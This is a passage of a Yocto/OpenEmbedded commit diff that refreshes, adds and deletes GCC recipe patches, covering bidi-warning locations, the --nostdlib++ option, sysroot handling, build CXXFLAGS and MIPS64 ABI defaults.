+- maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
+- /*ucn_p=*/true);
++ location_t loc;
++ bidi::kind kind = get_bidi_ucn (pfile,
++ buffer->cur,
++ buffer->cur[-1] == 'U',
++ &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/true, loc);
+ }
+ if (_cpp_valid_ucn (pfile, &buffer->cur, buffer->rlimit, 1 + !first,
+ state, &s, NULL, NULL))
+@@ -2336,8 +2485,11 @@ lex_raw_string (cpp_reader *pfile, cpp_t
+ }
+ else if (__builtin_expect ((unsigned char) c == bidi::utf8_start, 0)
+ && warn_bidi_p)
+- maybe_warn_bidi_on_char (pfile, pos - 1, get_bidi_utf8 (pos - 1),
+- /*ucn_p=*/false);
++ {
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, pos - 1, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
++ }
+ }
+
+ if (warn_bidi_p)
+@@ -2447,8 +2599,10 @@ lex_string (cpp_reader *pfile, cpp_token
+ {
+ if ((cur[0] == 'u' || cur[0] == 'U') && warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_ucn (cur + 1, cur[0] == 'U');
+- maybe_warn_bidi_on_char (pfile, cur, kind, /*ucn_p=*/true);
++ location_t loc;
++ bidi::kind kind = get_bidi_ucn (pfile, cur + 1, cur[0] == 'U',
++ &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/true, loc);
+ }
+ cur++;
+ }
+@@ -2476,8 +2630,9 @@ lex_string (cpp_reader *pfile, cpp_token
+ saw_NUL = true;
+ else if (__builtin_expect (c == bidi::utf8_start, 0) && warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_utf8 (cur - 1);
+- maybe_warn_bidi_on_char (pfile, cur - 1, kind, /*ucn_p=*/false);
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, cur - 1, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
+ }
+ }
+
diff --git a/meta/recipes-devtools/gcc/gcc/0005-optional-libstdc.patch b/meta/recipes-devtools/gcc/gcc/0005-optional-libstdc.patch
index 4020c9e3cf..b856c5dea3 100644
--- a/meta/recipes-devtools/gcc/gcc/0005-optional-libstdc.patch
+++ b/meta/recipes-devtools/gcc/gcc/0005-optional-libstdc.patch
@@ -1,34 +1,54 @@
-From 6ddfb0bfcd1eea71acd37ab06f7a4510b9f1d12b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:12:56 +0400
-Subject: [PATCH] optional libstdc
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 3/5] gcc: Add --nostdlib++ option
-gcc-runtime builds libstdc++ separately from gcc-cross-*. Its configure tests using g++
+[gcc-runtime builds libstdc++ separately from gcc-cross-*. Its configure tests using g++
will not run correctly since by default the linker will try to link against libstdc++
which shouldn't exist yet. We need an option to disable -lstdc++
option whilst leaving -lc, -lgcc and other automatic library dependencies added by gcc
-driver. This patch adds such an option which only disables the -lstdc++.
+driver. This patch adds such an option which only disables the -lstdc++.]
-A "standard" gcc build uses xgcc and hence avoids this. We should ask upstream how to
-do this officially, the likely answer is don't build libstdc++ separately.
+[A "standard" gcc build uses xgcc and hence avoids this. We should ask upstream how to
+do this officially, the likely answer is don't build libstdc++ separately.]
-RP 29/6/10
+OpenEmbedded/Yocto Project builds libgcc and the other gcc runtime libraries
+separately from the compiler and slightly differently to the standard gcc build.
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
+In general this works well but in trying to build them separately we run into
+an issue since we're using our gcc, not xgcc and there is no way to tell configure
+to use libgcc but not look for libstdc++.
-Upstream-Status: Inappropriate [embedded specific]
+This adds such an option allowing such configurations to work.
+
+2021-10-26 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+gcc/c-family/ChangeLog:
+
+ * c.opt: Add --nostdlib++ option
+
+gcc/cp/ChangeLog:
+
+ * g++spec.c (lang_specific_driver): Add --nostdlib++ option
+
+gcc/ChangeLog:
+
+ * doc/invoke.texi: Document --nostdlib++ option
+ * gcc.c: Add --nostdlib++ option
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2021-October/582724.html]
---
- gcc/c-family/c.opt | 4 ++++
- gcc/cp/g++spec.c | 1 +
- gcc/doc/invoke.texi | 32 +++++++++++++++++++++++++++++++-
- gcc/gcc.c | 1 +
- 4 files changed, 37 insertions(+), 1 deletion(-)
+ gcc/c-family/c.opt | 4 ++++
+ gcc/cp/g++spec.c | 1 +
+ gcc/doc/invoke.texi | 8 +++++++-
+ gcc/gcc.c | 1 +
+ 4 files changed, 13 insertions(+), 1 deletion(-)
-diff --git a/gcc/c-family/c.opt b/gcc/c-family/c.opt
-index c49da99d395..35f712e2c84 100644
---- a/gcc/c-family/c.opt
-+++ b/gcc/c-family/c.opt
-@@ -2025,6 +2025,10 @@ nostdinc++
+Index: gcc-11.2.0/gcc/c-family/c.opt
+===================================================================
+--- gcc-11.2.0.orig/gcc/c-family/c.opt
++++ gcc-11.2.0/gcc/c-family/c.opt
+@@ -2153,6 +2153,10 @@ nostdinc++
C++ ObjC++
Do not search standard system include directories for C++.
@@ -39,11 +59,11 @@ index c49da99d395..35f712e2c84 100644
o
C ObjC C++ ObjC++ Joined Separate
; Documented in common.opt
-diff --git a/gcc/cp/g++spec.c b/gcc/cp/g++spec.c
-index 0ab63bcd211..7b081e9e4f0 100644
---- a/gcc/cp/g++spec.c
-+++ b/gcc/cp/g++spec.c
-@@ -137,6 +137,7 @@ lang_specific_driver (struct cl_decoded_option **in_decoded_options,
+Index: gcc-11.2.0/gcc/cp/g++spec.c
+===================================================================
+--- gcc-11.2.0.orig/gcc/cp/g++spec.c
++++ gcc-11.2.0/gcc/cp/g++spec.c
+@@ -159,6 +159,7 @@ lang_specific_driver (struct cl_decoded_
switch (decoded_options[i].opt_index)
{
case OPT_nostdlib:
@@ -51,21 +71,19 @@ index 0ab63bcd211..7b081e9e4f0 100644
case OPT_nodefaultlibs:
library = -1;
break;
-diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
-index f12d8d12150..cf6cb428e7d 100644
---- a/gcc/doc/invoke.texi
-+++ b/gcc/doc/invoke.texi
-@@ -230,6 +230,9 @@ in the following sections.
+Index: gcc-11.2.0/gcc/doc/invoke.texi
+===================================================================
+--- gcc-11.2.0.orig/gcc/doc/invoke.texi
++++ gcc-11.2.0/gcc/doc/invoke.texi
+@@ -239,6 +239,7 @@ in the following sections.
-fno-weak -nostdinc++ @gol
-fvisibility-inlines-hidden @gol
-fvisibility-ms-compat @gol
-+-fvtable-verify=@r{[}std@r{|}preinit@r{|}none@r{]} @gol
-+-fvtv-counts -fvtv-debug @gol
+-nostdlib++ @gol
-fext-numeric-literals @gol
- -Wabi-tag -Wcatch-value -Wcatch-value=@var{n} @gol
- -Wno-class-conversion -Wclass-memaccess @gol
-@@ -599,7 +602,7 @@ Objective-C and Objective-C++ Dialects}.
+ -flang-info-include-translate@r{[}=@var{header}@r{]} @gol
+ -flang-info-include-translate-not @gol
+@@ -632,7 +633,7 @@ Objective-C and Objective-C++ Dialects}.
-pie -pthread -r -rdynamic @gol
-s -static -static-pie -static-libgcc -static-libstdc++ @gol
-static-libasan -static-libtsan -static-liblsan -static-libubsan @gol
@@ -74,7 +92,7 @@ index f12d8d12150..cf6cb428e7d 100644
-T @var{script} -Wl,@var{option} -Xlinker @var{option} @gol
-u @var{symbol} -z @var{keyword}}
-@@ -14407,6 +14410,33 @@ Specify that the program entry point is @var{entry}. The argument is
+@@ -15721,6 +15722,11 @@ Specify that the program entry point is
interpreted by the linker; the GNU linker accepts either a symbol name
or an address.
@@ -83,36 +101,14 @@ index f12d8d12150..cf6cb428e7d 100644
+Do not use the standard system C++ runtime libraries when linking.
+Only the libraries you specify will be passed to the linker.
+
-+@cindex @option{-lgcc}, use with @option{-nostdlib}
-+@cindex @option{-nostdlib} and unresolved references
-+@cindex unresolved references and @option{-nostdlib}
-+@cindex @option{-lgcc}, use with @option{-nodefaultlibs}
-+@cindex @option{-nodefaultlibs} and unresolved references
-+@cindex unresolved references and @option{-nodefaultlibs}
-+One of the standard libraries bypassed by @option{-nostdlib} and
-+@option{-nodefaultlibs} is @file{libgcc.a}, a library of internal subroutines
-+which GCC uses to overcome shortcomings of particular machines, or special
-+needs for some languages.
-+(@xref{Interface,,Interfacing to GCC Output,gccint,GNU Compiler
-+Collection (GCC) Internals},
-+for more discussion of @file{libgcc.a}.)
-+In most cases, you need @file{libgcc.a} even when you want to avoid
-+other standard libraries. In other words, when you specify @option{-nostdlib}
-+or @option{-nodefaultlibs} you should usually specify @option{-lgcc} as well.
-+This ensures that you have no unresolved references to internal GCC
-+library subroutines.
-+(An example of such an internal subroutine is @code{__main}, used to ensure C++
-+constructors are called; @pxref{Collect2,,@code{collect2}, gccint,
-+GNU Compiler Collection (GCC) Internals}.)
-+
@item -pie
@opindex pie
Produce a dynamically linked position independent executable on targets
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index b2200c5185a..f8be58ce0a6 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -1051,6 +1051,7 @@ proper position among the other output files. */
+Index: gcc-11.2.0/gcc/gcc.c
+===================================================================
+--- gcc-11.2.0.orig/gcc/gcc.c
++++ gcc-11.2.0/gcc/gcc.c
+@@ -1162,6 +1162,7 @@ proper position among the other output f
%(mflib) " STACK_SPLIT_SPEC "\
%{fprofile-arcs|fprofile-generate*|coverage:-lgcov} " SANITIZER_SPEC " \
%{!nostdlib:%{!r:%{!nodefaultlibs:%(link_ssp) %(link_gcc_c_sequence)}}}\
diff --git a/meta/recipes-devtools/gcc/gcc/0006-COLLECT_GCC_OPTIONS.patch b/meta/recipes-devtools/gcc/gcc/0006-COLLECT_GCC_OPTIONS.patch
deleted file mode 100644
index 9fbbe80703..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0006-COLLECT_GCC_OPTIONS.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From a6c90d3a9c5010b4aa7cc30467cf81ca7e0f430e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:16:28 +0400
-Subject: [PATCH] COLLECT_GCC_OPTIONS
-
-This patch adds --sysroot into COLLECT_GCC_OPTIONS which is used to
-invoke collect2.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gcc/gcc.c | 9 +++++++++
- 1 file changed, 9 insertions(+)
-
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index f8be58ce0a6..48b0f9dde81 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -4806,6 +4806,15 @@ set_collect_gcc_options (void)
- sizeof ("COLLECT_GCC_OPTIONS=") - 1);
-
- first_time = TRUE;
-+#ifdef HAVE_LD_SYSROOT
-+ if (target_system_root_changed && target_system_root)
-+ {
-+ obstack_grow (&collect_obstack, "'--sysroot=", sizeof("'--sysroot=")-1);
-+ obstack_grow (&collect_obstack, target_system_root,strlen(target_system_root));
-+ obstack_grow (&collect_obstack, "'", 1);
-+ first_time = FALSE;
-+ }
-+#endif
- for (i = 0; (int) i < n_switches; i++)
- {
- const char *const *args;
diff --git a/meta/recipes-devtools/gcc/gcc/0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch b/meta/recipes-devtools/gcc/gcc/0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch
new file mode 100644
index 0000000000..98a1bb2a66
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch
@@ -0,0 +1,63 @@
+From e700190743fa29ddaebd6ee075298a24b1688773 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Thu, 28 Oct 2021 11:33:40 +0100
+Subject: [PATCH 6/6] If CXXFLAGS contains something unsupported by the build
+ CXX, we see build failures (e.g. using -fmacro-prefix-map for the target).
+
+Pass CXXFLAGS_FOR_BUILD in a couple of places to avoid these errors.
+
+2021-10-28 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+ChangeLog:
+
+ * Makefile.in: Regenerate.
+ * Makefile.tpl: Add missing CXXFLAGS_FOR_BUILD overrides
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ Makefile.in | 2 ++
+ Makefile.tpl | 2 ++
+ 2 files changed, 4 insertions(+)
+
+Upstream-Status: Pending [should be submittable]
+
+Index: gcc-11.2.0/Makefile.in
+===================================================================
+--- gcc-11.2.0.orig/Makefile.in
++++ gcc-11.2.0/Makefile.in
+@@ -172,6 +172,7 @@ BUILD_EXPORTS = \
+ # built for the build system to override those in BASE_FLAGS_TO_PASS.
+ EXTRA_BUILD_FLAGS = \
+ CFLAGS="$(CFLAGS_FOR_BUILD)" \
++ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
+ LDFLAGS="$(LDFLAGS_FOR_BUILD)"
+
+ # This is the list of directories to built for the host system.
+@@ -203,6 +204,7 @@ HOST_EXPORTS = \
+ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
+ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
++ CXXFLAGS_FOR_BUILD="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ LD="$(LD)"; export LD; \
+ LDFLAGS="$(STAGE1_LDFLAGS) $(LDFLAGS)"; export LDFLAGS; \
+Index: gcc-11.2.0/Makefile.tpl
+===================================================================
+--- gcc-11.2.0.orig/Makefile.tpl
++++ gcc-11.2.0/Makefile.tpl
+@@ -175,6 +175,7 @@ BUILD_EXPORTS = \
+ # built for the build system to override those in BASE_FLAGS_TO_PASS.
+ EXTRA_BUILD_FLAGS = \
+ CFLAGS="$(CFLAGS_FOR_BUILD)" \
++ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
+ LDFLAGS="$(LDFLAGS_FOR_BUILD)"
+
+ # This is the list of directories to built for the host system.
+@@ -206,6 +207,7 @@ HOST_EXPORTS = \
+ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
+ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
++ CXXFLAGS_FOR_BUILD="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ LD="$(LD)"; export LD; \
+ LDFLAGS="$(STAGE1_LDFLAGS) $(LDFLAGS)"; export LDFLAGS; \
diff --git a/meta/recipes-devtools/gcc/gcc/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch b/meta/recipes-devtools/gcc/gcc/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
index a764bdd0f4..9844c2ae8a 100644
--- a/meta/recipes-devtools/gcc/gcc/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
+++ b/meta/recipes-devtools/gcc/gcc/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
@@ -1,4 +1,4 @@
-From 5670d4489f119d2da661734895ac0be99b606d1b Mon Sep 17 00:00:00 2001
+From e64342df647829d3e1c52fd480a5be7c1281ced0 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:17:25 +0400
Subject: [PATCH] Use the defaults.h in ${B} instead of ${S}, and t-oe in ${B}
@@ -26,10 +26,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
4 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index 543b477ff18..a67d2cc18d6 100644
+index 8a5fb3fd99c..7da6f439fff 100644
--- a/gcc/Makefile.in
+++ b/gcc/Makefile.in
-@@ -540,7 +540,7 @@ TARGET_SYSTEM_ROOT = @TARGET_SYSTEM_ROOT@
+@@ -552,7 +552,7 @@ TARGET_SYSTEM_ROOT = @TARGET_SYSTEM_ROOT@
TARGET_SYSTEM_ROOT_DEFINE = @TARGET_SYSTEM_ROOT_DEFINE@
xmake_file=@xmake_file@
@@ -39,10 +39,10 @@ index 543b477ff18..a67d2cc18d6 100644
TM_MULTILIB_CONFIG=@TM_MULTILIB_CONFIG@
TM_MULTILIB_EXCEPTIONS_CONFIG=@TM_MULTILIB_EXCEPTIONS_CONFIG@
diff --git a/gcc/configure b/gcc/configure
-index 8de766a942c..b26e8fc7fee 100755
+index 3f0734bff11..c5d3bc4ee2d 100755
--- a/gcc/configure
+++ b/gcc/configure
-@@ -12705,8 +12705,8 @@ for f in $tm_file; do
+@@ -13090,8 +13090,8 @@ for f in $tm_file; do
tm_include_list="${tm_include_list} $f"
;;
defaults.h )
@@ -54,10 +54,10 @@ index 8de766a942c..b26e8fc7fee 100755
* )
tm_file_list="${tm_file_list} \$(srcdir)/config/$f"
diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 8bfd6feb780..26fa46802c7 100644
+index 54e21764b3e..f83420326d6 100644
--- a/gcc/configure.ac
+++ b/gcc/configure.ac
-@@ -2138,8 +2138,8 @@ for f in $tm_file; do
+@@ -2263,8 +2263,8 @@ for f in $tm_file; do
tm_include_list="${tm_include_list} $f"
;;
defaults.h )
@@ -69,7 +69,7 @@ index 8bfd6feb780..26fa46802c7 100644
* )
tm_file_list="${tm_file_list} \$(srcdir)/config/$f"
diff --git a/gcc/mkconfig.sh b/gcc/mkconfig.sh
-index d2c677a4a42..d03852481cb 100644
+index c49acd8f7e4..a0a657bdbb9 100644
--- a/gcc/mkconfig.sh
+++ b/gcc/mkconfig.sh
@@ -77,7 +77,7 @@ if [ -n "$HEADERS" ]; then
diff --git a/meta/recipes-devtools/gcc/gcc/0008-fortran-cross-compile-hack.patch b/meta/recipes-devtools/gcc/gcc/0008-fortran-cross-compile-hack.patch
deleted file mode 100644
index 714db3bef5..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0008-fortran-cross-compile-hack.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From f05062625e7a4751be723595a2f7a4b7fbeff311 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:20:01 +0400
-Subject: [PATCH] fortran cross-compile hack.
-
-* Fortran would have searched for arm-angstrom-gnueabi-gfortran but would have used
-used gfortan. For gcc_4.2.2.bb we want to use the gfortran compiler from our cross
-directory.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Inappropriate [embedded specific]
----
- libgfortran/configure | 2 +-
- libgfortran/configure.ac | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/libgfortran/configure b/libgfortran/configure
-index b4cf854ddb3..e8e0ac3b1cf 100755
---- a/libgfortran/configure
-+++ b/libgfortran/configure
-@@ -13090,7 +13090,7 @@ esac
-
- # We need gfortran to compile parts of the library
- #AC_PROG_FC(gfortran)
--FC="$GFORTRAN"
-+#FC="$GFORTRAN"
- ac_ext=${ac_fc_srcext-f}
- ac_compile='$FC -c $FCFLAGS $ac_fcflags_srcext conftest.$ac_ext >&5'
- ac_link='$FC -o conftest$ac_exeext $FCFLAGS $LDFLAGS $ac_fcflags_srcext conftest.$ac_ext $LIBS >&5'
-diff --git a/libgfortran/configure.ac b/libgfortran/configure.ac
-index 711dc60ff78..3c9bbfbf47d 100644
---- a/libgfortran/configure.ac
-+++ b/libgfortran/configure.ac
-@@ -258,7 +258,7 @@ AC_SUBST(enable_static)
-
- # We need gfortran to compile parts of the library
- #AC_PROG_FC(gfortran)
--FC="$GFORTRAN"
-+#FC="$GFORTRAN"
- AC_PROG_FC(gfortran)
-
- # extra LD Flags which are required for targets
diff --git a/meta/recipes-devtools/gcc/gcc/0009-cpp-honor-sysroot.patch b/meta/recipes-devtools/gcc/gcc/0009-cpp-honor-sysroot.patch
index 8ad6853d81..37f26f0728 100644
--- a/meta/recipes-devtools/gcc/gcc/0009-cpp-honor-sysroot.patch
+++ b/meta/recipes-devtools/gcc/gcc/0009-cpp-honor-sysroot.patch
@@ -1,46 +1,54 @@
-From 1d76de7f1f5c99f1fa1a4b14aedad3d702e4e136 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:22:00 +0400
-Subject: [PATCH] cpp: honor sysroot.
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 5/5] gcc: Pass sysroot options to cpp for preprocessed source
-Currently, if the gcc toolchain is relocated and installed from sstate, then you try and compile
-preprocessed source (.i or .ii files), the compiler will try and access the builtin sysroot location
-rather than the --sysroot option specified on the commandline. If access to that directory is
-permission denied (unreadable), gcc will error.
+OpenEmbedded/Yocto Project extensively uses the --sysroot support within gcc.
+We discovered that when compiling preprocessed source (.i or .ii files), the
+compiler will try and access the builtin sysroot location rather than the
+--sysroot option specified on the commandline. If access to that directory is
+permission denied (unreadable), gcc will error. This is particularly problematic
+when ccache is involved.
-This happens when ccache is in use due to the fact it uses preprocessed source files.
+This patch adds %I to the cpp-output spec macro so the default substitutions for
+-iprefix, -isystem, -isysroot happen and the correct sysroot is used.
-The fix below adds %I to the cpp-output spec macro so the default substitutions for -iprefix,
--isystem, -isysroot happen and the correct sysroot is used.
+2021-10-27 Richard Purdie <richard.purdie@linuxfoundation.org>
-[YOCTO #2074]
+gcc/cp/ChangeLog:
+
+ * lang-specs.h: Pass sysroot options to cpp for preprocessed source
+
+gcc/ChangeLog:
-RP 2012/04/13
+ * gcc.c: Pass sysroot options to cpp for preprocessed source
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+[YOCTO #2074]
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2021-October/582725.html]
---
gcc/cp/lang-specs.h | 2 +-
gcc/gcc.c | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
-diff --git a/gcc/cp/lang-specs.h b/gcc/cp/lang-specs.h
-index 0ad4a33b93e..16c744f4f90 100644
---- a/gcc/cp/lang-specs.h
-+++ b/gcc/cp/lang-specs.h
-@@ -66,5 +66,5 @@ along with GCC; see the file COPYING3. If not see
+Index: gcc-11.2.0/gcc/cp/lang-specs.h
+===================================================================
+--- gcc-11.2.0.orig/gcc/cp/lang-specs.h
++++ gcc-11.2.0/gcc/cp/lang-specs.h
+@@ -116,7 +116,7 @@ along with GCC; see the file COPYING3.
{".ii", "@c++-cpp-output", 0, 0, 0},
{"@c++-cpp-output",
"%{!E:%{!M:%{!MM:"
- " cc1plus -fpreprocessed %i %(cc1_options) %2"
+ " cc1plus -fpreprocessed %i %I %(cc1_options) %2"
- " %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index 48b0f9dde81..c87f603955f 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -1348,7 +1348,7 @@ static const struct compiler default_compilers[] =
+ " %{!fsyntax-only:"
+ " %{fmodule-only:%{!S:-o %g.s%V}}"
+ " %{!fmodule-only:%{!fmodule-header*:%(invoke_as)}}}"
+Index: gcc-11.2.0/gcc/gcc.c
+===================================================================
+--- gcc-11.2.0.orig/gcc/gcc.c
++++ gcc-11.2.0/gcc/gcc.c
+@@ -1470,7 +1470,7 @@ static const struct compiler default_com
%W{o*:--output-pch=%*}}%V}}}}}}}", 0, 0, 0},
{".i", "@cpp-output", 0, 0, 0},
{"@cpp-output",
diff --git a/meta/recipes-devtools/gcc/gcc/0010-MIPS64-Default-to-N64-ABI.patch b/meta/recipes-devtools/gcc/gcc/0010-MIPS64-Default-to-N64-ABI.patch
deleted file mode 100644
index 625e2d8709..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0010-MIPS64-Default-to-N64-ABI.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From 4fad4433c96bc9d0d9d124f9674fb3389f6f426e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:23:08 +0400
-Subject: [PATCH] MIPS64: Default to N64 ABI
-
-MIPS64 defaults to n32 ABI, this patch makes it
-so that it defaults to N64 ABI
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Inappropriate [OE config specific]
----
- gcc/config.gcc | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/gcc/config.gcc b/gcc/config.gcc
-index cf1a87e2efd..37c4221a39f 100644
---- a/gcc/config.gcc
-+++ b/gcc/config.gcc
-@@ -2511,29 +2511,29 @@ mips*-*-linux*) # Linux MIPS, either endian.
- default_mips_arch=mips32
- ;;
- mips64el-st-linux-gnu)
-- default_mips_abi=n32
-+ default_mips_abi=64
- tm_file="${tm_file} mips/st.h"
- tmake_file="${tmake_file} mips/t-st"
- enable_mips_multilibs="yes"
- ;;
- mips64octeon*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- tm_defines="${tm_defines} MIPS_CPU_STRING_DEFAULT=\\\"octeon\\\""
- target_cpu_default=MASK_SOFT_FLOAT_ABI
- enable_mips_multilibs="yes"
- ;;
- mipsisa64r6*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- default_mips_arch=mips64r6
- enable_mips_multilibs="yes"
- ;;
- mipsisa64r2*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- default_mips_arch=mips64r2
- enable_mips_multilibs="yes"
- ;;
- mips64*-*-linux* | mipsisa64*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- enable_mips_multilibs="yes"
- ;;
- esac
diff --git a/meta/recipes-devtools/gcc/gcc/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch b/meta/recipes-devtools/gcc/gcc/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
index e357976330..0884730786 100644
--- a/meta/recipes-devtools/gcc/gcc/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
+++ b/meta/recipes-devtools/gcc/gcc/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
@@ -1,4 +1,4 @@
-From 8fc016a53c22c19feccbfa13ebdf19090dc67058 Mon Sep 17 00:00:00 2001
+From 8e9d6efecdc8c42f47e3a012dee764b13c3dad59 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:24:50 +0400
Subject: [PATCH] Define GLIBC_DYNAMIC_LINKER and UCLIBC_DYNAMIC_LINKER
@@ -30,8 +30,7 @@ Upstream-Status: Inappropriate [OE configuration]
gcc/config/sparc/linux64.h | 4 ++--
12 files changed, 29 insertions(+), 34 deletions(-)
-diff --git a/gcc/config/alpha/linux-elf.h b/gcc/config/alpha/linux-elf.h
-index e25fcac3c59..01aca0c6542 100644
+unchanged:
--- a/gcc/config/alpha/linux-elf.h
+++ b/gcc/config/alpha/linux-elf.h
@@ -23,8 +23,8 @@ along with GCC; see the file COPYING3. If not see
@@ -45,8 +44,7 @@ index e25fcac3c59..01aca0c6542 100644
#if DEFAULT_LIBC == LIBC_UCLIBC
#define CHOOSE_DYNAMIC_LINKER(G, U) "%{mglibc:" G ";:" U "}"
#elif DEFAULT_LIBC == LIBC_GLIBC
-diff --git a/gcc/config/arm/linux-eabi.h b/gcc/config/arm/linux-eabi.h
-index 5bdcfa0c5d3..0c0332f317f 100644
+unchanged:
--- a/gcc/config/arm/linux-eabi.h
+++ b/gcc/config/arm/linux-eabi.h
@@ -65,8 +65,8 @@
@@ -60,8 +58,7 @@ index 5bdcfa0c5d3..0c0332f317f 100644
#define GLIBC_DYNAMIC_LINKER_DEFAULT GLIBC_DYNAMIC_LINKER_SOFT_FLOAT
#define GLIBC_DYNAMIC_LINKER \
-diff --git a/gcc/config/arm/linux-elf.h b/gcc/config/arm/linux-elf.h
-index 0ec3aa53189..abfa9566d74 100644
+unchanged:
--- a/gcc/config/arm/linux-elf.h
+++ b/gcc/config/arm/linux-elf.h
@@ -60,7 +60,7 @@
@@ -73,8 +70,7 @@ index 0ec3aa53189..abfa9566d74 100644
#define LINUX_TARGET_LINK_SPEC "%{h*} \
%{static:-Bstatic} \
-diff --git a/gcc/config/i386/linux.h b/gcc/config/i386/linux.h
-index 9f823f125ed..e0390b7d5e3 100644
+unchanged:
--- a/gcc/config/i386/linux.h
+++ b/gcc/config/i386/linux.h
@@ -20,7 +20,7 @@ along with GCC; see the file COPYING3. If not see
@@ -86,8 +82,7 @@ index 9f823f125ed..e0390b7d5e3 100644
#undef MUSL_DYNAMIC_LINKER
#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-i386.so.1"
-diff --git a/gcc/config/i386/linux64.h b/gcc/config/i386/linux64.h
-index 6cb68d1ccfa..7de09ec857c 100644
